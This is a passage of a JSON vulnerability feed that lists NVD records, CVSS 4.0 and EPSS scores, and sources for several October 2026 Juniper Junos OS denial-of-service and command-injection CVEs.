Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101993","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101993","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101993","type":"primary","publishedAt":"2026-10-14T17:17:52.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101992","cveId":"CVE-2026-101992","aliases":[],"kind":"vulnerability","title":"An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an...","summary":"An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an rpd crash via a BGP VPLS signaling update.","detail":"An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an rpd crash via a BGP VPLS signaling update.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:51.900Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101992","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101992","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101992","type":"primary","publishedAt":"2026-10-14T17:17:51.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101989","cveId":"CVE-2026-101989","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash via a crafted LDP message.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash via a crafted LDP message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:51.417Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101989","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101989&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101989","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101989","type":"primary","publishedAt":"2026-10-14T17:17:51.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101989&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101989, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101988","cveId":"CVE-2026-101988","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via LDP messages received over an operational LDP session.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via LDP messages received over an operational LDP session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:51.260Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101988","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101988&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101988","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101988","type":"primary","publishedAt":"2026-10-14T17:17:51.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101988&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101988, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101987","cveId":"CVE-2026-101987","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service by sending a specific IS-IS SRv6 packet when SRv6 and Flexible Algorithm are enabled.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service by sending a specific IS-IS SRv6 packet when SRv6 and Flexible Algorithm are enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:51.110Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101987","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101987","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101987","type":"primary","publishedAt":"2026-10-14T17:17:51.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101985","cveId":"CVE-2026-101985","aliases":[],"kind":"vulnerability","title":"A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an...","summary":"A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated IS-IS peer to cause a denial of service.","detail":"A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated IS-IS peer to cause a denial of service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.807Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101985","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101985&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101985","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101985","type":"primary","publishedAt":"2026-10-14T17:17:50.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101985&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101985, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101984","cveId":"CVE-2026-101984","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of service when labeled-unicast aggregate-label is configured.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of service when labeled-unicast aggregate-label is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.650Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101984","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.1885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101984&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101984","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101984","type":"primary","publishedAt":"2026-10-14T17:17:50.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101984&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101984, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101978","cveId":"CVE-2026-101978","aliases":[],"kind":"vulnerability","title":"An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the...","summary":"An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the management LAN to execute commands as root via a crafted gRPC response.","detail":"An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the management LAN to execute commands as root via a crafted gRPC response.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.350Z","updatedAt":"2026-10-16T15:16:59.590Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101978","asOf":"2026-10-16T15:16:59.590Z"},"epss":{"probability":0.0392,"percentile":0.90264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101978&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101978","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101978","type":"primary","publishedAt":"2026-10-14T17:17:50.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101978&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101978, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101977","cveId":"CVE-2026-101977","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent routing-daemon denial of service via a specific BGP packet when ephemeral configuration is used.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent routing-daemon denial of service via a specific BGP packet when ephemeral configuration is used.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.190Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101977","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00461,"percentile":0.39661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101977&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101977","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101977","type":"primary","publishedAt":"2026-10-14T17:17:50.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101977&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101977, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101974","cveId":"CVE-2026-101974","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or cause a rpd crash via a malformed OSPF packets.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or cause a rpd crash via a malformed OSPF packets.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:50.037Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101974","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00251,"percentile":0.16272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101974&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101974","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101974","type":"primary","publishedAt":"2026-10-14T17:17:50.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101974&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101974, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101973","cveId":"CVE-2026-101973","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed...","summary":"A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed packet received during CMP enrollment or automatic certificate re-enrollment.","detail":"A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed packet received during CMP enrollment or automatic certificate re-enrollment.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:49.900Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101973","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00356,"percentile":0.29046,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101973&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101973","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101973","type":"primary","publishedAt":"2026-10-14T17:17:49.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 